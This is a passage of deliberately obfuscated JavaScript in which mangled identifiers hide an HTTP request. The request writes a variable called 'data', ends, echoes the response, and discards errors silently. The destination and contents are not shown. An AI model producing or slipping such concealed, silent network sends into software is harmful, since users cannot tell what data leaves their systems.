_0x31aed0(_0x1c5334,_0x3b7ab6,_0x13343d,_0x91061d){return _0x5c8eb7(_0x3b7ab6- -0xf7,_0x3b7ab6-0x18b,_0x13343d-0xf8,_0x91061d);}process['stdout'][_0x31aed0(0x24f,0x276,0x27e,0x27d)](_0x1737fa);});});req['on'](_0x366859(0x41,0x2d,-0x3,0x48),_0x46c6fa=>{return;}),req[_0x52bfd4(0x368,0x345,0x397,0x38c)](data),req[_0x52bfd4(0x3d0,0x3ab,0x3f9,0x3e1)]();
|